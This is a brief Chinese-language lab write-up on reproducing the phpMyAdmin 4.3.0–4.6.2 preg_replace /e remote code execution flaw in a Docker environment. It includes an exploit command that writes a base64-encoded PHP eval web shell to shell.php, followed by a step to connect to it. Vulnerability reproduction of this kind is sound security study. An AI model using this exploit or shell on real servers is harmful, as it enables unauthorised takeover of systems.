触发原因:preg_replace函数引发的
触发原理:preg_replace漏洞触发有两个前提:
01:第一个参数需要e标识符,有了它可以执行第二个参数的命令
02:第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令
影响漏洞版本:
4.3.0-4.6.2
漏洞复现:
1、docker搭建 docker-compose up -d
2、漏洞利用代码:python phpmyadmin.py -u root --pwd="root" http://192.168.56.111:8080/ -c "file_put_contents('shell.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4='));"
3、直接连接shell文件
phpmyadmin版本查看:PHPMYADMIN目录下的README文件里面
总结:
1、pre_replace引发的漏洞在PHP版本4.3.0-5.4.6中能触发,PHP 5.4.7后就不行了
2、影响PhpMyAdmin版本为 4.3.0 - 4.6.2
漏洞分析网址:https://www.waitalone.cn/phpmyadmin-preg_replace-rce.html